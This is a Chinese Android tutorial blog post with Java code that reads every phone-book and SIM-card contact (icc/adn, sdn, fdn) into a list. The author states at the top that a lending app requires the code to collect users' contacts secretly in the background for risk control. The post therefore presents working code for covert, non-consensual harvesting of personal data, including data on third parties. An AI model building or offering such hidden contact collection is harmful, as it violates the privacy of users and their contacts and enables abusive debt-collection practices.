Android--获取手机联系人和Sim卡联系人
最近公司做的一个放贷APP,要求后台偷偷获取用户的联系人来做风控,所以。。。(大家忽略就好)
- 获取手机联系人很简单,就是查询android的数据库,用到的是ContentProvider进行跨进程通讯。我就直接上代码了
public List<ContactsResultBean.ContactsBean> getContactInfo() throws JSONException {
list = new ArrayList<>();
contactData = new JSONObject();
//联系人的Uri,也就是content://com.android.contacts/contacts
Uri uri = ContactsContract.Contacts.CONTENT_URI;
//指定获取_id和display_name两列数据,display_name即为姓名
String[] projection = new String[]{
ContactsContract.Contacts._ID,
ContactsContract.Contacts.DISPLAY_NAME
};
//根据Uri查询相应的ContentProvider,cursor为获取到的数据集
Cursor cursor = context.getContentResolver().
query(uri, projection, null, null, null); int i = 0;
if (cursor != null && cursor.moveToFirst()) {
do {
Long id = cursor.getLong(0);
//获取姓名
String name = cursor.getString(1);
//指定获取NUMBER这一列数据
String[] phoneProjection = new String[]{
ContactsContract.CommonDataKinds.Phone.NUMBER
}; //根据联系人的ID获取此人的电话号码
Cursor phonesCusor = context.getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
phoneProjection,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
null,
null); //因为每个联系人可能有多个电话号码,所以需要遍历
if (phonesCusor != null && phonesCusor.moveToFirst()) {
do {
String num = phonesCusor.getString(0); contactsBean = new ContactsResultBean.ContactsBean();
contactsBean.setName(name);
contactsBean.setPhone(num);
contactsBean.setNote(""); list.add(contactsBean);
jsonObject = new JSONObject();
contactData.put("contact" + i, jsonObject); } while (phonesCusor.moveToNext());
}
i++;
} while (cursor.moveToNext());
} // 获取sim卡的联系人--1
try {
getSimContact("content://icc/adn", list); getSimContact("content://icc/adn/subId/#", list); getSimContact("content://icc/sdn", list); getSimContact("content://icc/sdn/subId/#", list); getSimContact("content://icc/fdn", list); getSimContact("content://icc/fdn/subId/#", list); } catch (Exception e) {
Log.d("提现啦:", e.getLocalizedMessage());
}
return list;
}
2、查询Sim上的联系其实也很简单,也是扫描android数据库里面存的值,也是通过ContentProvider,但是因为涉及到有的手机可能是双卡双待,还有移动、电信、联通这三种手机卡,所以可能就有问题了。
这里我知道android framework本身提供了一个这样的provider(IccProvider.java),所以我们就按照google的来吧。使用ContentProvider最重要的就是路由要准确,所以我们先来看看IccProvider里面给我提供的路由。
- 先来看看IccProvider给我们提供的路由。



同样也是返回给我们游标,我们自己从游标里面取值。
下面是游标取值的代码
private void getSimContact(String adn, List<ContactsResultBean.ContactsBean> list) {
// 读取SIM卡手机号,有三种可能:content://icc/adn || content://icc/sdn || content://icc/fdn
// 具体查看类 IccProvider.java
Cursor cursor = null;
try {
Uri uri = Uri.parse(adn);
LogUtils.e(uri.toString());
cursor = context.getContentResolver().query(uri, null,
null, null, null);
if (cursor != null) {
while (cursor.moveToNext()) {
// 取得联系人名字
int nameIndex = cursor.getColumnIndex("name");
// 取得电话号码
int numberIndex = cursor.getColumnIndex("number");
String number = cursor.getString(numberIndex);// 手机号
LogUtils.d("手机号:" + number);
if (isUserNumber(number)) {// 是否是手机号码
ContactsResultBean.ContactsBean simCardTemp = new ContactsResultBean.ContactsBean();
simCardTemp.setPhone(formatMobileNumber(number));
simCardTemp.setName(cursor.getString(nameIndex));
if (!list.contains(simCardTemp)) {
list.add(simCardTemp);
}
}
}
cursor.close();
}
} catch (Exception e) {
LogUtils.e(e);
if (cursor != null) {
cursor.close();
}
}
}
经过测试时可以去到sim卡上的联系人的
Android--获取手机联系人和Sim卡联系人的更多相关文章
- android获取通讯记录,sim卡和手机
//获取手机和手机卡通讯录 public static String getContacts() { String szContacts = ""; szContacts=getP ...
- Android 获取手机信息,设置权限,申请权限,查询联系人,获取手机定位信息
Android 获取手机信息,设置权限,申请权限,查询联系人,获取手机定位信息 本文目录: 获取手机信息 设置权限 申请权限 查询联系人 获取手机定位信息 调用高德地图,设置显示2个坐标点的位置,以及 ...
- Android学习笔记-获取手机内存,SD卡存储空间。
前面介绍到如何保存数据到手机内存或者SD卡,但是问题是,在保存以前,我们还需要对他们的空间(可用空间),进行判断,才可以进行后续操作,所以,本节我们就介绍如何获取手机内存以及Sd卡的空间. //这时获 ...
- sim卡联系人name为空的问题。
1,之前的版本出现Bug:新建name为空的sim卡联系人,无法删除. 解决: 2,而后的版本出现新Bug:新建name不为空,Num不为空的sim卡联系人,然后编辑sim卡联系人,将Name清空,无 ...
- 双卡手机怎么指定SIM卡打电话
双卡手机如何指定SIM卡打电话 package com.example.dualsimtest; import android.app.Activity; import android.content ...
- 判断是否为SIM卡联系人
判断是否为SIM卡联系人 在AsyncQueryContacts类中. private List<TxrjAccount> accounts = new ArrayList<Txrj ...
- android API版本对应的系统版本及Android获取手机和系统版本等信息的代码
学了这么久的Android,竟然一直对其API对应的名称关系一值搞不清楚,现在网上认真看了下资料,转载一个觉得写得不错的作者的文章,记下来: [背景] 之前折腾android期间,慢慢地知道了,And ...
- Android 获取手机的厂商、型号、Android系统版本号等工具类(转载)
Android 获取手机的厂商.型号.Android系统版本号等工具类 1.获取手机制造厂商 2.获取手机型号 3.获取手机系统当前使用的语言 4.获取Android系统版本号 5.获取手机IMEI串 ...
- 017 Android 获取手机SIM卡序列号和读取联系人
1.获取手机SIM卡序列号 //5.存储sim卡系列号 //5.1获取sim卡系列号 TelephonyManager manager = (TelephonyManager) getSystemSe ...
随机推荐
- [原创]K8Cscan插件之端口扫描C#源码
[原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...
- 1.Git起步-Git的三种状态以及三种工作区域、CVCS与DVCS的区别、Git基本工作流程
1.Git基础 版本控制系统是一种用于记录一个或多个文件内容变化,以便将来查阅恢复特定版本修订情况的系统. Git是一种分布式版本控制系统(Distributed Version Control Sy ...
- Apache Flume 1.7.0 自定义输入输出
自定义http source config a1.sources.r1.type=http a1.sources.r1.bind=localhost a1.sources.r1.port= a1.so ...
- java中String类为什么不可变?
在面试中经常遇到这样的问题:1.什么是不可变对象.不可变对象有什么好处.在什么情景下使用它,或者更具体一点,java的String类为什么要设置成不可变类型? 1.不可变对象,顾名思义就是创建后的对象 ...
- 使用Expression进行动态排序分页
Expression动态查询.分页 Expression,表达式树,以lamda表达式创建,就以表达式目录树的形式将强类型的lambda表达式标识为数据结构. 排序 /// <summary&g ...
- springboot 与 shiro 整合 (简洁版)
前言: 网上有很多springboot 与 shiro 整合的资料,有些确实写得很好, 对学习shiro和springboot 都有很大的帮助. 有些朋友比较省事, 直接转发或者复制粘贴.但是没有经过 ...
- leetcode — minimum-path-sum
/** * Source : https://oj.leetcode.com/problems/minimum-path-sum/ * * * Given a m x n grid filled wi ...
- linux 命令 — split
split 按照数据大小和行数来分割文件 指定分割文件后缀 split -b 10k data.file 按照每个文件10k分割文件(默认使用字母作为后缀) split -b 10k data.fil ...
- 教你如何在React及Redux项目中进行服务端渲染
服务端渲染(SSR: Server Side Rendering)在React项目中有着广泛的应用场景 基于React虚拟DOM的特性,在浏览器端和服务端我们可以实现同构(可以使用同一份代码来实现多端 ...
- Perl:undef类型和defined()函数
undef和defined()函数 undef表示的像是数据库中的"null".它表示空,啥也没有,是完全未定义的.这不等于字符串的空,不等于数值0,它是另一种类型. 在某些时候, ...